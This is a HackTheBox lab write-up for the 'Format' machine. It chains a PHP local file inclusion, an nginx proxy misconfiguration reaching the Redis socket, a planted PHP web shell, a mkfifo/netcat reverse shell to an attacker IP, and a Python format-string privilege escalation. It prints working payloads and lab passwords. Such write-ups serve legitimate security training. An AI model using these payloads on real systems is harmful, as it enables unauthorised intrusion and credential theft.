Format – HackTheBox Writeup
Machine Name: Format
IP: 10.10.11.213
Difficulty: Medium
Summary
Format is a medium machine that starts with discovering two ports that run Gitea and a Microblog respectively. First, an LFI is discovered on the Microblog after reviewing the source code. Further analysing the source code, one could bypass the mechanism to become Pro user and upload image files. One of the parameters that causes LFI creates a new if it doesn’t already exist. This allowed writing a PHP shell through which a shell was obtained as www-data. A redis server running on a socket was discovered and used to obtain credentials for the user “cooper”. Privilege escalation involved exploiting a python format string vulnerability for a script that could be run using sudo.
Information Gathering
Nmap scan shows that port 22 (SSH), port 80 (HTTP), and port 3000 (HTTP) are open. Port 80 and 3000 are running Nginx 1.18.0. Since the page on port 80 and 3000 are redirected to “app.microblog.htb” and “microblog.htb” respectively, I added them to my /etc/hosts file to facilitate further investigation.
Exploring the Application
app.microblog.htb seems to be a blogging platform.
I registered myself as a user and created a subdomain called “haxo.microblog.htb” and added it to my /etc/hosts file. I could edit the main page of the site. I tried to inject a XSS payload and it worked.
<script>alert(1)</script>
Moving on to the microblog.htb, it is running on port 80 is a Gitea page.
From the footer of the Gitea page, I observed that the version is 1.17.3. The explore feature in the Gitea page allowed me to view a repository called “cooper/microblog”. This looks like the source code for the page running on port 80.
Local File Inclusion (LFI)
First, I tried to look at the source code for the functions that I’m able to access such editing, and deleting posts.
In the edit or “add text” feature of the code located at “/cooper/microblog/microblog-template/edit/index.php”, I found that the code uses user-supplied input ($_POST[‘id’]) directly in the fopen() function without any validation or sanitization. This means we could manipulate the “id” parameter to get a LFI.
I captured the edit request by adding a H1 in my subdomain page and observed that the “id” parameter is indeed vulnerable to LFI. I was able to retrieve /etc/hosts file.
Of late, I’ve exploited too many LFIs. Seems like most HackTheBox machine authors like to keep LFI.
Misconfiguration of Nginx Reverse Proxy
I also looked for the “/etc/nginx/sites-enabled/default” files and found that the root path of the application is “/var/www/microblog/app”.
# Default server configuration server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; # Add index.php to the list if you are using PHP index index.html index.htm index.nginx-debian.html; server_name _; location / { # First attempt to serve request as file, then # as directory, then fall back to displaying a 404. try_files $uri $uri/ =404; } } server { listen 80; listen [::]:80; root /var/www/microblog/app; index index.html index.htm index-nginx-debian.html; server_name microblog.htb; location / { return 404; } location = /static/css/health/ { resolver 127.0.0.1; proxy_pass http://css.microbucket.htb/health.txt; } location = /static/js/health/ { resolver 127.0.0.1; proxy_pass http://js.microbucket.htb/health.txt; } location ~ /static/(.*)/(.*) { resolver 127.0.0.1; proxy_pass http://$1.microbucket.htb/$2; } }
This configuration file defines a server block that listens on port 80 for the domain microblog.htb. It handles requests for various URLs, returning a 404 response for the root URL and acting as a reverse proxy for specific “/static/css/health/” and “/static/js/health/” URLs, as well as for general URLs matching the “/static/(.*)/(.*)” pattern. They forward the requests to the specified destinations using the “proxy_pass” directive
I downloaded the repository and checked their contents
git clone http://microblog.htb:3000/cooper/microblog.git cd microblog find ./ -name health.txt cat microbucket/css/health.txt cat microbucket/js/health.txt
There is a misconfiguration in the location block “/static/(.*)/(.*). It proxies requests to “http://$1.microbucket.htb/$2”, where $1 and $2 are placeholders derived from the URL path. This pattern allows arbitrary requests to be made to different microbucket subdomains.
The LFI won’t provide with a code execution so I looked further on the webpage and found that a pro user could upload images. Naturally, I looked for the source code to make my account a Pro user.
Understanding Redis Communication
The source code that checks whether an account is Pro is located at “/cooper/microblog/app/index.php”. The code appears to be checking if the user has an active session and, if so, retrieves a value from a Redis database based on the user’s session username. If the database does not validate if the requests are authorized, an attacker could send NoSQL commands of Redis to manipulate values.
If I were to update a user to be a Pro member, I would use “HSET” to set the a user as pro.
if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['username'])) { $redis = new Redis(); $redis->connect('/var/run/redis/redis.sock'); $redis->HSET($_POST['username'], "pro", "true"); echo "User set to pro"; } else { echo "Invalid request"; } }
Identifying the Target Endpoint
To be craft a request using curl, we need to use the HTTP method HSET instead of the default GET/POST. We can exploit the nginx misconfiguration to access the redis socket file at “/var/run/redis/redis.sock” that points to the Unix socket file associated with the Redis server. This means that the application expects a request to a socket path to establish a connection to the Redis server via a Unix socket.
I couldn’t figure a way to find the socket path at first so I kept looking at different configuration files. After a bit of googling, I understood that Nginx supports proxying requests to local Unix sockets by specifying the URI path as a UNIX-domain socket path enclosed in colons after the “unix” keyword.
The target endpoint would look like:
http://microblog.htb/static/unix:/var/run/redis/redis.sock
Crafting the Payload
Finally, this is the payload that sets the value of the Redis key to “<username> pro true a/b”, exploiting the Redis HSET
command.
curl -X "HSET" http://microblog.htb/static/unix:/var/run/redis/redis.sock:<username> pro true a/b
Exploiting the Chain
When the payload was sent to the “/static/unix:” endpoint, the Nginx reverse proxy intercepted the request and forwarded it to the Redis server through the Unix socket “/var/run/redis/redis.sock”. The HSET command was executed by Redis, updating the user’s status to Pro.
By chaining the LFI vulnerability to access the misconfigured Nginx reverse proxy and understanding the Redis communication, the attacker was able to exploit the vulnerabilities and make the user Pro.
curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:test%20pro%20true%20a/b
And just like that we become a Pro member.
The application enables the option to upload in the “edit” page. In the source code located at “/microblog/microblog-template/edit/index.php”, I found that the “provisionProUser” checks if a user is Pro and then retrieves the blogname. It grants write permissions to “/var/www/microblog/<blog name>” and “/var/www/microblog/<blogname>/edit” using chmod command. Then it create an “uploads” directory under “/var/www/microblog/<blog name>” and sets its permissions to read, write, execute for the owner.
The “add image” functionality is located at “/microblog/sunny/edit/index.php”. We can find it using the grep command.
grep -r "image" .
Oops! The above code validates the file type. It accepts png only.
I didn’t lose hope as the Pro version allows me to write files in the “uploads” directory.
Exploiting the Write Permissions of Pro via LFI
If we observe closely, If the file specified by “$_POST[‘id’]” does not exist, the “fopen” function with the “w” mode will create a new file with that name in the specified directory.
//add text if (isset($_POST['txt']) && isset($_POST['id'])) { chdir(getcwd() . "/../content"); $txt_nl = nl2br($_POST['txt']); $html = "<div class = \"blog-text\">{$txt_nl}</div>"; $post_file = fopen("{$_POST['id']}", "w"); fwrite($post_file, $html); fclose($post_file); $order_file = fopen("order.txt", "a"); fwrite($order_file, $_POST['id'] . "\n"); fclose($order_file); header("Location: /edit?message=Section added!&status=success"); }
Since we have write permission over the /uploads directory, we could the LFI to create a malicious PHP file that contains the contents of the “txt” parameter.
id=/var/www/microblog/haxo/uploads/shell.php&txt=<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
http://haxo.microblog.htb/uploads/shell.php?cmd=id
Gaining Shell as www-data
I can now gain a reverse shell using the below payload.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.15 1234 >/tmp/f http://haxo.microblog.htb/uploads/shell.php?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|bash+-i+2>%261|nc+10.10.14.15+1234+>/tmp/f
Although I knew the getting a user shell would have something to do with redis, I transferred linpeas and ran it.
The redis server is running on a socket (/var/run/redis/redis.sock) instead of its default port 6379 or any other port.
Gaining Shell as Cooper
I used the redis-cli to communicate with the server and found the password for the user “cooper”.
redis-cli -s /var/run/redis/redis.sock KEYS * HGETALL cooper.dooper zooperdoopercooper
I SSHed into cooper’s terminal and obtained the user flag.
ssh cooper@10.10.11.213
Privilege Escalation to Root
As always, I checked “sudo -l” for any commands the user can run as root and found that the user may run “/usr/bin/license”.
sudo -l
I checked the file type and found that it was a python script.
file /usr/bin/license
I checked the script to understand what it does. The code manages the provisioning, deprovisioning, and verification of license keys for the Microblog application using Redis for storage and encryption for security.
We can provide the script with a username, provision, deprovision, and check arguments.
The script has a “secret” which is read from “/root/license/secret” and encoded with SHA256. This might be the goal to gain root access.
If it were a binary, I would be looking at the “strings” output. Since this is a script, I had to test the behavior of the application.
Format String Vulnerability
The vulnerability is in the line where the “license_key” variable is formatted:
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
In this line, the “license_key” is constructed using a format string that includes the placeholder “{license.license}”. However, the “.format()” method is called on the string without specifying the field names, which makes it susceptible to a format string vulnerability.
The “License” class is a part of the script and is used to generate license keys. It has an “__init__” method that initializes the license object with a randomly generated license key.
Since the “username” can be controlled by us as it can be manipulated on the redis server, we can set the value of the “username” field to “{license.__init__.__globals__}”. This value is a special string that refers to the global variables of the “__init__” method of the “License” class.
When the license script provisions a license key for a user, it retrieves the user’s profile information from Redis, including the username. In this case, when it encounters the manipulated username “{license.__init__.globals__}”, it triggers the script to process the injected code instead of a regular username.
Within the script, the provision section checks if the “args.provision” option is provided (which represents the username). It retrieves the user profile from Redis and constructs the license key. In this process, it formats a string that incorporates the user’s information, including the manipulated username.
The format string vulnerability comes into play here. Since the script does not properly handle or sanitize the user input, the manipulated value “{license.__init__.globals__}” is treated as a format string.
By referencing the “__globals__” attribute in the manipulated username, the script can access the global namespace of the “License.__init__” method. This includes all the global variables defined in the script’s scope.
In the script, the “secret” variable is loaded from the “/root/license/secret” file. By accessing the manipulated “__globals__” attribute, the script gains access to this variable. It retrieves the secret key stored in the secret
variable, allowing the exploit to obtain the sensitive data.
Exploiting Python Format String Vulnerability
I set the username to “{license.__init__.globals__}” in redis.
www-data@format:~/microblog/haxo/uploads$ redis-cli -s /var/run/redis/redis.sock HSET test username {license.__init__.__globals__} HGET test username
Now, I ran the script using sudo to fetch the secret keys.
sudo ./license -p test unCR4ckaBL3Pa$$w0rd
I found the secret key which looks like a password. I tried the same key as password for root and I was logged in as root.
su - cat /root/root.txt unCR4ckaBL3Pa$$w0rd
Pwned!